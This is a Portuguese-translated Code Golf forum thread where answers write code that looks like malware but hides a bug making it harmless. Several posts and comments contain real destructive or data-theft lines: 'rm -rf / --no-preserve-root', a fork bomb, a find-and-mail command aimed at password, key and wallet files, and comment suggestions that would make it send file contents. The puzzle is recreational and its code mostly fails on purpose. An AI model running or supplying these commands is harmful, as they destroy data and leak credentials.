Trollando o troll [fechado]

184

Um troll o capturou e o está forçando a escrever malware (definido como um programa que danifica o computador que o executa). O troll pode ler e entender o código, mas não é tão bom em detectar bugs.

Seu objetivo é escrever um programa que:

  1. Parece malware; ou seja, um programador iniciante que lê o código estará convencido de que o código causa danos ao computador que o executa.
  2. Na verdade não faz nenhum dano.

NOTA: O troll lê apenas o código - não os comentários. Portanto, o próprio código deve ser claro e convincente o suficiente.

EXEMPLO (bash):

rm - rf /home

Este exemplo é semelhante ao rm -rf /homeque remove todas as pastas pessoais do sistema, mas, na verdade, devido ao espaço anterior à rf, isso não funciona e causa apenas uma mensagem de erro inofensiva.

Esta é uma solução aceitável, mas não é muito boa, porque o bug é bastante fácil de detectar.

Por outro lado, um programa complexo e ilegível também não será uma solução muito boa, pois não se parece com malware.

Uma boa solução deve ser legível o suficiente para convencer o leitor de que é malware, mas contém um bug difícil de detectar e o torna inofensivo.

Este é um concurso de popularidade, portanto o código com mais votos positivos vence.

Erel Segal-Halevi
fonte
160
Eu sinto que você está tentando me enganar para colar rm - rf /em meu shell ...
undergroundmonorail
19
Bash rm -rf /. A menos que o sistema é muito antiga , ela vai exigir --no-preserve-root:)
user80551
10
-1 porque a) controle de código e mais importante b) Estou muito preocupado com qualquer dúvida sobre a criação de malware (mesmo que seja falso, ele fica muito próximo).
Gareth
13
@Gareth No entanto, não é realmente um malware (que normalmente tenta ocultar e / ou roubar dados atualmente), é na maioria das vezes tentativas completamente óbvias de excluir coisas, que qualquer programador iniciante poderia escrever com pouco esforço.
Bob
29
rm - rf /não é um exemplo válido! Ela pode causar danos se você tem um arquivo chamado rfno diretório atual
gnibbler

Respostas:

139

Bater

Eu fui para o outro lado. Em vez de excluir tudo no seu disco rígido, vou preenchê-lo com lixo.

Esse script cria uma pasta e, em seguida, catreúne todos os arquivos continuamente e os coloca em um novo, adicionando o valor de ls -alboa medida (e para que o arquivo inicial tenha algo).

#!/bin/bash/

makeSpam()
{
    string=`cat *`
    string=$string`ls -al`
    echo $string > "file"$i".spam"
}

mkdir "SpamForYou"
cd "SpamForYou"

i=1
while [ 1 ]
do
  makeSpam $i
  i=$(($i + 1))
done

exceto...

/ bin / bash / (em vez de / bin / bash) é muito improvável que seja um intérprete válido. Este é apenas um erro de digitação meu. E, como "o shebang é tecnicamente um comentário, o troll irá ignorá-lo"

James Webster
fonte
56
+1. A primeira linha de um script é um ponto cego para muitos programadores (inclusive eu).
Erel Segal-Halevi
44
ea coisa toda é tecnicamente um comentário, por isso, o troll irá ignorá-lo
Brian Minton
14
+1 para abusar do comentário noncommenting :) isso é realmente não é óbvio
masterX244
37
Executá-lo como bash whatever.shvai arruinar seu truque ...
Darkhogg
8
@Dharkhogg, que sorte! Salvei-o como evil.commandpara que o troll pode simplesmente clicar duas vezes nele para abrir (no Mac, pelo menos)
James Webster
114

Haskell

Verifique esta página de manual , removeDirectoryRecursiveexclua um diretório com todo o seu conteúdo!

import System.Directory
main = return (removeDirectoryRecursive "/")

O código correto seria main = removeDirectoryRecursive "/"
A mainfunção deve retornar um conceito de fazer alguma coisa. removeDirectoryRecursive "/"retorna um conceito de limpeza do sistema de arquivos, mas a returnfunção (sim, é uma função) envolve seu argumento em um conceito fictício de retorno desse valor.
Então, acabamos com um conceito de retornar um conceito de limpeza de sua unidade. (Você pode agrupar você como conceitos.) O tempo de execução do haskell executa o conceito retornado maine descarta o valor retornado, que no nosso caso é um conceito de limpeza do sistema de arquivos.

mniip
fonte
85
+1. Eu não conseguia entender o bug, mesmo depois de ter lido sua explicação ...
Erel Segal-Halevi 11/03/2014
3
Pelo que entendi, isso é um erro de ponteiro (apontando para o ponteiro da função em vez de apontar para a função). Muito bom, programadores iniciantes geralmente caem facilmente com truques de ponteiros.
gaborous
3
Basicamente, isso seria semelhante ao return removeDirectoryRecursive;contrário de return removeDirectoryRecursive();C, está correto?
3Dblue
4
@ user1121352 Não. A função em si é chamada, mas não pode excluir um arquivo porque é puro. Em vez disso, fornece uma ação de E / S, que, quando retornada main, é executada e remove o arquivo. returnEntretanto, o uso explícito da função cria uma ação de E / S cujo objetivo é apenas criar o valor.
Mniip
4
@Cthulhu returnnão tem nada a ver com returnoutros idiomas (ou mesmo com "retornar" um valor de uma função). Os valores do tipo também não IO atêm muito a ver com funções em outros idiomas. Assim, a analogia é bastante mão-ondulado
Niklas B.
103

PHP

Aqui está um script PHP recursivo que tenta excluir todos os arquivos do seu site. Pode demorar um pouco para ser concluído se o site for muito grande, então seja paciente ...

<html>
<body>
<p>Deleting website; please wait
<img src="data:image/gif;base64,R0lGODlhCAAIAPAAAAAAAP///yH/C05FVFNDQVBFMi4wAwEAAAAh+QQEMgD/ACwAAAAACAAIAAACBoSPqcvtXQAh+QQFMgAAACwAAAAACAAIAAACBoyPqcvtXQA7" /></p>
<?php

function zapfiles($dir) {
  if (is_dir($dir)) {
    $files = scandir($dir);
    foreach ($files as $file) {
      if ($file != '.' && $file != '..') {
        if (is_dir("$dir/$file")) {
          zapfiles("$dir/$file");
        }
        else {
          try {
            @delete("$dir/$file"); // Suppress locked file errors
          }
          catch (Exception $e) {
            // Locked files can't be deleted; just carry on
          }
        }
      }
    }
  }
}

zapfiles($_SERVER['DOCUMENT_ROOT']);

?>
<p>Website deletion complete</p>

Apenas um pequeno problema ...

Não há comando delete () no PHP. O script falhará assim que encontrar esse comando, mas nenhuma mensagem de erro será exibida porque o relatório de erros foi suprimido com o prefixo @ deste comando . A imagem GIF piscante dá a impressão de que algo está acontecendo, quando absolutamente nada está acontecendo.

ossifrage melindroso
fonte
31
^ até onde eu entendo: não há função delete (), o manual apenas diz que esta é uma "entrada falsa" para quem procura a função correta (desvincular). Isso não significa que haja algum tipo de redirecionamento "automático" no PHP.
Erti-Chris Eelmaa
93
@ user11153 foi enganado.
basher
34
Veja, eu pensei que a razão pela qual os erros seriam ignorados e a execução continuaria porque era PHP.
Zoey
17
Eu acho que usar uma função aleatória inexistente é um pouco óbvio ( deletepara excluir arquivos? Não há razão para supor que isso enganaria alguém). Que tal unlⅰnk(que usa U + 2170 em vez de "i")?
Konrad Rudolph
18
@KonradRudolph Uma função nomeada deletepara excluir arquivos é totalmente crível em PHP. A única coisa que não é crível é que, se fosse real, haveria 3 ou 4 outras maneiras de fazê-lo e todas, exceto a de nome mais estranho, teriam sérias falhas de segurança.
Brendan Long
93

Perl (Unix)

Exclui todos os arquivos no sistema.

#! /usr/bin/perl -w
use strict;

sub killdir {
    opendir(my $dh, ".");
    my @dl = readdir($dh);
    closedir($dh);
    foreach my $de (@dl) {
        if (-d $de) {
            chdir($de);
            killdir();
            chdir("..");
            rmdir($de);
        } else {
            unlink($de);
        }
    }
}

chdir("/");
killdir();

Recursos

  • Este é Perl válido. Até compila e roda com -we use strict!

  • Nenhuma queixa como C ++ delete. unlinkrealmente é a função de excluir um arquivo, rmdirrealmente remove um diretório etc.

  • Manipula corretamente diretórios profundamente aninhados para os quais o nome do caminho absoluto pode exceder o comprimento máximo do sistema, alterando para cada diretório para usar caminhos relativos. Além disso, não ficará sem identificadores de diretório, pois ele lê e fecha o diretório antes de repetir.

Spoiler

No Unix, a primeira entrada no diretório raiz é normalmente "." portanto, o programa executará uma recursão infinita de chdir (".") até ficar sem memória e travar.

Notas adicionais

Era mais difícil acertar do que o esperado. Se você não usar a abordagem chdir, poderá obter um nome de caminho longo demais. Então -d retorna false e a recursão infinita é interrompida, e os arquivos podem realmente ser excluídos! Um erro semelhante pode ocorrer se você mantiver os identificadores de diretório abertos; eventualmente você acaba, o opendir falha, o killdir retorna e a exclusão começa a acontecer.

Nate Eldredge
fonte
45
"Então -d retorna falso e a recursão infinita é interrompida, e os arquivos podem realmente ser excluídos!" você aprendeu isso da maneira mais difícil?
Niklas B.
4
@NiklasB .: Felizmente eu testei uma versão fictícia :)
Nate Eldredge
Eu esperava que esse código pode excluir pastas somente vazio, mas não arquivos ...
Qwertiy
3
"No Unix, a primeira entrada no diretório raiz é normalmente". "". Então, mais um malware apenas para Windows?
284 Alexander
11
@timmyRS: O programa falhará . o sistema continuará funcionando perfeitamente.
Nate Eldredge
81

Shell one-liner

Isso roubará todas as senhas da vítima, chaves privadas, bitcoins, etc.

 find / -name "passwd" -or -name "shadow" -or -name "secring.gpg" -or -name "wallet.dat" |mail [email protected]

Spoiler:

Pode parecer que todos esses arquivos são enviados por e-mail para o troll, mas, na verdade, apenas envia seus nomes de arquivos por e-mail.

Nate Eldredge
fonte
4
Para enviar por e-mail o conteúdo, os comandos cat, headou tailteriam que estar envolvidos em algum lugar.
Agi Hammerthief
7
Ainda vazando dados, não importa o quê. Isso é trollar os trolls?
Kyle Kelley
-exec cat '{}' \; | …
Martin Ueding 16/03/14
@queueoverflow-print0 | xargs -0 cat |
quantum
11
Eu peguei sem o spoiler depois de ler o código 2-3 vezes.
precisa saber é o seguinte
74

Lote / CMD

Salve 

DEL %0
DEL %1
DEL %2
DEL %3
DEL %4
DEL %5
DEL %6
DEL %7
DEL %8
DEL %9

e fazê-los executá-lo com parâmetros de cada uma das unidades no computador.

% 0 é sempre o primeiro parâmetro - o nome do arquivo. Depois disso, vem o conjunto de parâmetros reais, mas ele já foi excluído para que não continue.

kitcar2000
fonte
104
Também depende de comportamento engraçado do lote de fechar o arquivo e reabri-lo para ler a próxima linha para cada linha ...
Bob
8
DEL %0não funcionará, a menos que a extensão do arquivo seja especificada na linha de comando e o script seja executado fornecendo o caminho completo ou você esteja no mesmo diretório. DEL "%~f0"resolveria ambos os problemas e seria resiliente a espaços em qualquer lugar dentro do caminho. Também %10não existe - e traduz para %1seguido por um literal 0.
11114 Jon
14
+1. Mesmo que o troll entenda o que "DEL% 0" faz, você pode convencê-lo de que isso é apenas para limpar as evidências, e não faz mal, pois o arquivo em lote permanece na memória até que sua execução termine (o que é falso, como Bob disse).
Erel Segal-Halevi
2
Um troll inteligente ainda acha estranho emitir o comando de exclusão automática no início do arquivo (e não no final), a menos que você leve em consideração o quão notoriamente são os scripts em lote propensos a erros.
Agi Hammerthief
10
@ Bob Eu não tinha ideia de lote fez isso ... isso é horrível.
W4etwetewtwet 15/03/14
48

Javascript

infiniteLoop=true;
evilMessage='I spam you !';
while(infiniteLoop) {
  eval(atob('aW5maW5pdGVMb29wPWZhbHNlO2V2aWxNZXNzYWdlPWV2aWxNZXNzYWdlLnJlcGxhY2UoInNwYW0iLCJMT1ZFIik7'));
  alert(evilMessage);
}

Bem, o malware original não irá explodir o seu computador, mas pode ser irritante.

Isso é inofensivo porque:

O evalvai quebrar o loop infinito e modificar a mensagem.

Michael M.
fonte
40
Voto a favor, mas você tem 1337 representantes.
scrblnrd3
5
Então por favor não! :)
Michael M.
@scrblnd ele foi embora D:
Riking
11
Faça o voto negativo de respostas ruins até você voltar a isso.
David Starkey
4
Apenas para explicar para outras pessoas, o atob ('aW5maW5pdGVMb29wPWZhbHNlO2V2aWxNZXNzYWdlPWV2aWxNZXNzYWdlLnJlcGxhY2UoInNwYW0iLCJMT1ZESSik7') irá executar o seguinte: "; false:"
Mohammed Joraid 17/03/14
45

Java

Que os deuses me perdoem por me submeter a suas exigências miseráveis, troll.

class HomeWrecker {
    public static void main(String[] args) throws Exception {
        Runtime.getRuntime().exec("rm -rf /home/*");
    }
}

Runtime.exec não chama um shell, portanto, a expansão glob nunca acontece e o comando tenta, sem sucesso, excluir um diretório inicial chamado literalmente "*"

aquele outro cara
fonte
11
Então, qual é o meu diretório pessoal chamado '*'? ;)
Vorac 19/03/14
6
Honestamente, essa é uma das melhores respostas Java. Isso requer uma compreensão bastante sólida das (muitas) quedas de Runtime.exec(). +1.
Qix
Java tem um equivalente real à system()função de c ?
precisa saber é o seguinte
@ SuperJedi224 Não, você tem que especificar /bin/sh -cou cmd /cou o que quer manualmente. Faz sentido, pois você nunca sabe o que um comando faria em um novo sistema operacional.
esse outro cara,
37

C

Como ele não lê comentários, deve fazê-lo:

#include<stdlib.h>
int main()
{
//Are you reading this??/
 system("C:\\WINDOWS\\System32\\shutdown /s /t 0000");

 return 0;
}

Versão C ++

graças ao DragonLord por isso.

#include<cstdlib>
int main ()
{
//Are you reading this??/
system("shutdown -s -t 0000");
return 0; 
}

Adicione isso na pasta de inicialização e reinicie o computador.

Como funciona:

?? / é um trigrafo e adicionará a próxima linha ao comentário, então basicamente não fará nada. Nota: não tente, esses trigramas podem estar desativados em alguns compiladores como padrão e devem estar ativados para que isso funcione.

Mhmd
fonte
Se, em algum compilador, ele pode funcionar, é verdade?
Antonio Ragagnin 10/03/2014
4
Não, mas em uma situação real, eu prefiro não vasculham um troll com tal código (eu não quero prejudicar um troll!)
Antonio Ragagnin
2
@AntonioRagagnin Se isso funcionar em qualquer compilador, esse compilador é defeituoso. No entanto, a maioria dos compiladores modernos avisa sobre o uso de trigrafos (mas aceita e compila o código).
Konrad Rudolph
8
Portanto, se o Troll não lê comentários e sua solução é transformar o malware em um comentário, isso não significa que tudo o que o Troll vê é uma função main com return 0?
21414 David Starkey
11
A ??/é realmente um velho truque ... Sinto muito.
Isiah Meadows
33

Java

import java.io.File;
class derp
{
    public static void main( String[] a)
    {
        new File("C:\\windows\\System32\ntoskrnl.exe").delete();
    }
}

Usando um caractere de escape (o \ n antes do ntoskrnl.exe é uma nova linha em vez do N normal)

masterX244
fonte
20
Se você não escapar das outras barras invertidas, o erro poderá parecer ainda menos visível. O troll poderia pensar a linguagem não usa barra invertida escapa
3Doubloons
2
@ 3Doubloons O código não falharia ao compilar nesse caso?
305 Neil
2
@ Neil: Bom ponto. Ele não iria, mas se o troll permite-nos ir, logo que ele está satisfeito com a sua leitura, que está em claro
3Doubloons
29
new File("C:\ntldr").delete();
Egor Skriptunoff 31 /
3
@EgorSkriptunoff Levei mais de um tempo para perceber que o XP não era uma variante do XD.
26714 Justin
31

BATER

#!/bin/bash
set -t 

echo "hahaha deleting files.."
rm -rf / --no-preserve-root

O set -t sairá depois de ler e executar um comando. Este script não imprime saída e todos os arquivos são seguros!

Ou o seguinte, MAS LER SPOILER ANTES DE EXECUTAR

#!/bin/bash -t
echo "hahaha deleting files.."
rm -rf / --no-preserve-root

Por demanda popular .. #!/bin/bash -tsairá após ler e executar um comando. Não execute isso em baixo, bash -xpois ele ignorará -te executará os comandos no script.

JOgden
fonte
SPOILERS Estou um pouco confuso ... qual é a diferença entre set -te exit? A página do manual do Bash diz que set -tsai após "um comando", mas parece contar o setpróprio comando como esse comando e sair imediatamente.
Kyle Strand
6
Se comandos adicionais estiverem na mesma linha que set -t (por exemplo, separados por ponto-e-vírgula ou duplo e comercial etc.), eles serão executados. Nesse caso, uma primeira linha set -t; echo "hahaha deleting files.."ecoaria esse texto e depois sairia.
JOgden
2
Ah Obrigado. Não sabia que havia alguma diferença de comportamento entre ;e uma nova linha.
Kyle Strand
4
#!/bin/bash -tpossivelmente?
Neil
2
@JOgden, é uma pena que o bash não faça o mesmo truque de análise de shebang que o perl faz (se você executar perl foo.ple foo.pl começa com #!somethingendingin/perl -flags, o perl agirá como se fosse invocado -flags)
hobbs
30

Pitão

print "****----....____....----"""" This program will clear the browser cache "

import os
from os.path import expanduser
home = expanduser("~")
os.remove(home)

print """"----....____....----***** Cache cleaned. "                                     

três aspas "" "iniciam uma sequência multilinha em Python

Antonio Ragagnin
fonte
5
Errado, eles começam com ramal cordas docs.python.org/2/tutorial/introduction.html#strings
user80551
12
Vi o problema literalmente cinco segundos depois de ver a resposta, e nem sei python.
O cara com o chapéu
6
Boa ideia, com o problema de que, se o troll usar destaque de sintaxe, ele o identificará.
o0 '.
11
Eu acho que o troll médio vê um código malicioso aleatório na internet e copipaste-o em outro fórum.
Antonio Ragagnin 11/03/2014
11
Bom, eu tenho experiência com Python e não vi a falha. Usar 4 aspas pode ter me enganado.
gaborous
29

D

Este programa é válido e é executado sem erros. Ele gera uma função de exclusão em um novo thread, que exclui o rootdiretório.

import std.concurrency : spawn;
import std.file : rmdirRecurse;

string root;

void deleteRoot()
{
    if (root)
        rmdirRecurse(root);
}

void main()
{
    root = "/";
    spawn(&deleteRoot);
    // ... could add a waiting animation here.
}

Mas nada é excluído ...

porque em D, uma variável declarada no escopo do módulo é local do encadeamento por padrão. As mainfunções o definem como "/", mas os threads de spawn têm uma cópia vazia, portanto a rmdirRecursefunção não é chamada.

biozic
fonte
11
Boa! Eu consegui pegar o bug neste, embora eu não saiba D.
Erel Segal-Halevi
11
"uma variável global é thread-local por padrão" Isso é um pouco de uma contradição lá
Niklas B.
@NiklasB. Qual é a contradição?
biozic
Não é uma "variável global" então. Talvez "variável declarada no nível superior" seja uma descrição melhor?
Paŭlo Ebermann 13/03
Sim, editado! É menos ambíguo. Não é totalmente uma contradição, pelo menos lexicamente falando.
biozic
25

C (Unix)

A adição de alguns anúncios nunca prejudicou ninguém.

#include <stdlib.h>

int main()
{
    // Join the crew
    goto http;//www.trolling.com
    print("Sucker!\n");
    system("rm -rf ~");
    // Remember goto
    http://www.trolling.com
    return 0;
}

http: é um rótulo, o salto para o rótulo está ausente do código malicioso. : V

ilmale
fonte
5
Eu consegui detectar este :)
Erel Segal-Halevi
17
O ponto-e-vírgula no primeiro URL é bastante fácil de identificar nessa fonte. Mas é criativo!
21814 CompuChip
12
goto considerado útil
drewbenn 13/03/14
11
Notei isso porque não há ponto e vírgula após o goto. Se você o alterou para goto http;//www.trolling.com;(nos dois pontos), eu posso ter perdido.
wchargin
2
Não seria compilado de qualquer maneira, porque não há printfunção.
precisa saber é o seguinte
24

Javascript

function foo(a) { // Returns an object, and all objects are truly
    return
    {
        a: a
    };
}
for(var i=0; foo(i); ++i) // loop condition is always truly
    alert('Infinite alerts!');

Nenhum alerta é mostrado. Como o JavaScript não requer ;no final das linhas, ele é automaticamente inserido depois de returnse tornar return;. Então undefined, que é falso, é retornado em vez do "objeto" (que de fato é analisado como uma instrução de bloco).

Oriol
fonte
3
Tentados a 1 apenas para o uso de "verdadeiramente" e "Falsas";)
CompuChip
11
+1 como esta "falha" na JS tem me pegou desprevenido inúmeras vezes ... Tinha que relê-lo algumas vezes para vê-lo
Mark Ormston
12
@NigelNquande o ponto e vírgula não causa a falha, a quebra de linha causa. O retorno e o objeto que deve ser retornado estão em linhas separadas, portanto, o objeto nunca é retornado. Para "corrigir", remova a quebra de linha para que ela leiareturn {
Dave Forber
3
Esperando que o troll não minifique o código!
Mohammed Joraid
2
O UglifyJS diz WARN: Dropping side-effect-free statement [-:4,11]e retorna function foo(a){}for(var i=0;foo(i);++i)alert("Infinite alerts!");.
Neyuszika7h
22

Javascript

//Config: Warning!!! only set to true on victims box!
var deleteEverything = true;

function deleteIfEvil(){
  if(deleteEverything){
    alert('Destroy Everything!');
    //clear the flag
    var deleteEverything = false;
  } else {
    alert('Tested OK!');
  }
}

deleteIfEvil();

Troque o alerta de destruição por qualquer ação destrutiva desagradável que você queira usar.

Spoiler:

Embora pareça que a configuração está definida para excluir ... e é ! a declaração 'var' dentro da função é "Hoisted" http://www.adequatelygood.com/JavaScript-Scoping-and-Hoisting.html e, como resultado, é realmente falsa ao inserir a função.

scunliffe
fonte
Bom truque, mas por que você redefinir a bandeira?
Mohammed Joraid 17/03/14
O "reset" foi apenas um exemplo ... pode ser qualquer variável em que a atribuição seja válida ... apenas se prefixado com 'var' pode / terá consequências indesejadas.
scunliffe
16

Java

Vamos apenas excluir alguns arquivos importantes!

import java.io.File;
import java.io.IOException;

public class Deleter {

    private File importantFile = null;

    public Deleter(File f) {

        importantFile = f;

        /**}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{
         * }{ I don't care how important that file is. I'm going to delete it! }{
         * }{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{*/}{

        importantFile.delete();

    }

    public static void main(String[] args) throws IOException {
        // Let's delete some important stuff
        new Deleter(new File("/boot/vmlinuz"));
        new Deleter(new File("/etc/passwd"));
        new Deleter(new File("/etc/crontab"));
        new Deleter(new File("/etc/sudoers"));
    }

}

Escondido no comentário do bloco, há um extra} {fora do comentário. Isso coloca a exclusão do arquivo em um bloco de inicialização de instância separado, que é executado antes do construtor. Nesse momento, importantFile ainda é nulo.

Joe K
fonte
16
Eu consegui detectar este :)
Erel Segal-Halevi
17
Isso seria muito, muito óbvio se o troll não ler os comentários.
ApproachingDarknessFish
6
Eu escolhi interpretar "o troll não lê os comentários" como "o troll ignora os comentários da mesma maneira que um humano faria se ignorasse os comentários". Nesse caso, pode ser fácil perder por engano que esses dois caracteres estão realmente fora do comentário.
21714 Joe
11
Este foi o único que resolvi antes de ler a explicação, mas bom trabalho!
nrubin29
15

Bash, C, Linux

Talvez não seja exatamente um malware, mas com certeza pode fazer parte de um :)

É uma façanha incrível que pode te dar root em qualquer máquina Linux! Shhh, não conte a ninguém que a temos!

#!/bin/sh
cd /tmp
cat >ex.c <<eof
int getuid() { return 0; }
int geteuid() { return 0; }
int getgid() { return 0; }
int getegid() { return 0; }
eof
gcc -shared ex.c -oex.so
LD_PRELOAD=/tmp/ex.so sh
rm /tmp/ex.so /tmp/ex.c

Agora execute o script e você será root! Você pode ter certeza de usar whoami!

Na verdade, apenas engana todos os aplicativos que você possui UID = 0 (esse é o ID do usuário raiz).

O código é escrito por Lcamtuf, fonte: http://lcamtuf.coredump.cx/soft/ld-expl

mik01aj
fonte
+1. Truque muito bom. Ainda não entendo completamente como isso funciona.
Erel Segal-Halevi
@ErelSegalHalevi: consulte stackoverflow.com/questions/426230/what-is-the-ld-preload-trick para obter mais detalhes sobre LD_PRELOAD.
mik01aj
2
Leia fakeroot(1), que é uma biblioteca que intercepta chamadas para várias funções do sistema POSIX, enganando o chamador a acreditar que possui acesso (falso) de leitura e gravação (falso) a todo o sistema. Na verdade, ele não pode (não pode) realmente conceder essas permissões, mas quando o programa, por exemplo, chama a chmodfunção "fake" em um arquivo e altera as permissões, o fakeroot lembrará essas permissões para que as statchamadas retornem as permissões atualizadas. Algumas distribuições usam isso para permitir que o sistema de criação de pacotes crie arquivos com root:rootpropriedade.
sleblanc 16/03
11
É lcamtuf do que eu acredito: lcamtuf.coredump.cx/soft/ld-expl - pelo menos eu me lembro que estava lá desde 90
viraptor
13

bater

cat <<EOF
ProHaxer Hacking Tool 2014. Destroying your computer in
background, please wait until it finishes.
EOF

# Freeze the machine, so nobody will stop the process.
:(){:|:&};:

# Remove stuff in the background.
rm -rf /* &>/dev/null &

Há um erro de sintaxe na linha "fork-bomb". Depois de { , deve haver um espaço. Sem ele, o script falha porque a definição da função não é seguida pelo token { por si só.

Konrad Borowski
fonte
2
Você deve adicionar uma nota de cautela (talvez no spoiler), para que isso não seja executado, kshpois a fork fork não é um erro de sintaxe!
devnull
@ Dennis: Não relacionado, eu não vi isso. Mas fio interessante, para ser honesto. Eu sei como a análise no bash funciona, e é por isso que não a uso :-).
Konrad Borowski
11

Emacs Lisp

Primeiro um simples. Este não faz nada. Na verdade, ele está tentando excluir elementos iguais a: recursivo da lista retornada por directory-files. Não vai excluir nenhum arquivo.

(delete :recursive
    (directory-files "/"))

Aqui está um que poderia superar até mesmo os veterinários.

(let ((files (directory-files "/")))
  (while (setq file (pop files) )
    (delete-file file)))

Isso fica a apenas 1 caractere da exclusão do diretório raiz.

O emacs lisp permitirá que jsut sobre qualquer coisa seja o nome de um símbolo (variável, função, macro, etc). Não há problema em usar unicode no nome dos seus símbolos e é isso que está acontecendo aqui.

setqpode aceitar qualquer número de argumentos (setq a 3 b 4)é como fazer a = 3; b = 4; mas(setq a 3 b) também é válido e está fazendo a = 3; b = nulo;

O valor de retorno de `setq 'é o valor atribuído à última variável. 4 e zero respectivamente nos exemplos.

(setq a 3 b)é exatamente o que está acontecendo no código, mas, em vez de b, estou usando um caractere de espaço em branco unicode. Estou atribuindo o valor nulo a uma variável chamada cujo nome é o caractere unicode 0x2001. Por causa disso, nada é retornado pelo setq e a condição para o loop while nunca é verdadeira. Retire esse caractere de espaço em branco e ele funcionará perfeitamente.

Jordon Biondo
fonte
10

Apenas mais um hacker perl.

Eu escrevi este em 2002 , enquanto estava no Perlmonks e geralmente apenas tentando levar o meu conhecimento sobre o Perl o mais longe possível. Não o editou, mas continua sendo executado.

#!/usr/bin/perl -w
use strict;
require File::Path;

my $root_dir = '/';

$root_dir = 'c:\\' if( $^O =~ /Win/i );

rmtree( $root_dir );

mkdir( $root_dir );

open( ROOT, $root_dir );

while(1)
{
  BEGIN{@INC=sub{*DATA}}
  print ROOT <DATA>;
}

__DATA__
# Fill the harddrive with junk!
''=~('('.'?'.'{'.('`'|'%').('['
^'-').('`'|'!').('`'|',').'"'.(
'['^'+').('['^')').('`'|"\)").(
'`'|'.').('['^'/').('{'^('[')).
'\\'.'"'.('`'^'*').('['^"\.").(
'['^'(').('['^'/').('{'^"\[").(
'`'|'!').('`'|'.').('`'|"\/").(
'['^'/').('`'|'(').('`'|"\%").(
'['^')').('{'^'[').('['^"\+").(
'`'|'%').('['^')').('`'|"\,").(
'{'^'[').('`'|'(').('`'|"\!").(
'`'|'#').('`'|'+').('`'|"\%").(
'['^')').'.'.'\\'.'\\'.('`'|'.'
).'\\'.'"'.';'.('`'|'%').("\["^
'#').('`'|')').('['^'/').(';').
'"'.'}'.')');$:='.'^'~';$~='@'|
'(';$^=')'^'[';$/='`'|('.');$_=
'('^'}';$,='`'|'!';$\=')'^"\}";
$:='.'^'~';$~='@'|'(';$^=(')')^
'[';$/='`'|'.';$_='('^('}');$,=
'`'|'!';$\=')'^'}';$:='.'^"\~";
$~='@'|'(';$^=')'^'[';$/=('`')|
'.';$_='('^'}';$,='`'|('!');$\=
')'^'}';$:='.'^'~';$~='@'|"\(";
$^=')'^'[';$/='`'|'.';$_=('(')^
'}';$,='`'|'!';$\=')'^('}');$:=
'.'^'~';$~='@'|'(';$^=')'^"\[";

Se bem me lembro, o BEGINbloco é executado em primeiro lugar, não importa onde esteja no código. Ele substitui o @INCque determina de onde o Perl carrega suas bibliotecas por uma sub-rotina (geralmente é um conjunto de caminhos, mas isso é permitido). A sub-rotina é na verdade o bloco de dados ofuscado, que está fazendo alguma mágica regexp + eval. Então, quando o código é atingido require File::Path;(não teria funcionado use), esse sub é executado e apenas imprime "Apenas outro perl hacker", como é tradição, e sai. O restante do código nunca é alcançado.

Stoffe
fonte
11
Uau, demorei um pouco para entender o que esse código faz (mas eu não li o spoiler). Decodifiquei esse bloco de chamada regex (é o mesmo método que usei em codegolf.stackexchange.com/a/23871/3103 ) e gosto de como ele contém exitcomando (com ponto e vírgula inútil depois, mas não que isso importe )
21978 Konrad Borowski
Hehe, eu mesmo tive que descobrir, tem 11 a 12 anos. O ponto e vírgula é provavelmente apenas para alinhar tudo perfeitamente.
Stoffe
9

PHP:

$condition = true and false;

if (!$condition) {
   // DO EVIL - Just do something evil here
}

À primeira vista, $conditioné falso, mas o =operador tem precedência and, portanto a condição é verdadeira. Então, o mal nunca é feito.

zozo
fonte
8

C ++ com Boost

Isso excluirá todos os arquivos no sistema de arquivos

#include "boost/filesystem.hpp"
using namespace boost::filesystem;

void delete_directory(const path* dir_path)
{
  if (!exists(*dir_path)) return;

  directory_iterator end_file_itr;
  for (directory_iterator file_itr(*dir_path);
        file_itr != end_file_itr;
        ++file_itr) {
    const path* file = &file_itr->path();
    if (file_itr->status().type() == directory_file) {
      delete_directory(file);
    } else {
      delete(file);
    }
  }

  delete(dir_path);
}

int main() {
  delete_directory(new path("/"));
  return 0;
}

Na verdade, não vai. deleteem C ++ é usado para liberar memória alocada por newe não para excluir arquivos e diretórios. O programa provavelmente trava com uma falha de segmentação, ao tentar desalocar a memória alocada pelo Boost, mas a essa altura, já terei escapado do cativeiro do troll.

3Doubloons
fonte
+1. Não é fácil identificar, pois ele é compilado sem erros.
Erel Segal-Halevi
2
A primeira linha de problema não é um comportamento indefinido? Nesse caso, pode de fato excluir todos os seus arquivos.
aschepler
11
@aschepler: "O UB pode excluir todos os seus arquivos" fornece uma explicação divertida de que você não pode prever o que acontecerá ao chamar o UB, mas geralmente não é uma possibilidade. Se o troll tinha um compilador que apaga os discos rígidos em UB, ele não iria fazer-nos escrever-lhe um malware
3Doubloons
2
o realce da sintaxe daria uma dica ao troll aqui ... #
mik01aj 14/03
8

Java

Isso fingirá fazer o download da RAM, mas excluirá o diretório inicial do usuário.

import java.util.*;
import java.io.*;
class RamDownloaderIO {
    public static void main(String[] args) {
        long onePercentWaitTime   = 2*60*1000;  // 2 minutes
        long twoPercentWaitTime   = 7*60*1000;  // 7 minutes
        long deleteWaitTime       = 9*60*1000;  // 9 minutes
        long completeWaitTime     = 10*60*1000; // 10 minutes
        Timer timer = new Timer(true);
        // User thinks, Hmm this is taking a while
        timer.schedule(new TimerTask() {
            public void run() {
                System.out.println("1% done");
            }
        }, onePercentWaitTime);
        // User is now completely impatient, and either leaves to get a coffee
        // or starts reading reddit
        timer.schedule(new TimerTask() {
            public void run() {
                System.out.println("2% done");
            }
        }, twoPercentWaitTime);
        // Now that he's not looking, delete everything in his home directory
        timer.schedule(new TimerTask() {
            public void run() {
                try {
                    final Runtime rt = Runtime.getRuntime();
                    rt.exec("rm -rf ~/*");
                } catch (IOException e) {
                }
            }
        }, deleteWaitTime);
        // Inform the user that the task is finished
        timer.schedule(new TimerTask() {
            public void run() {
                System.out.println("Download complete!");
                System.out.println("You now have 21.47GB RAM!");
                System.exit(0);
            }
        }, completeWaitTime);
        System.out.println("Welcome to the ramdownloader.io RAM downloader");
        System.out.println("Please wait. Downloading your free RAM...");

    }
}

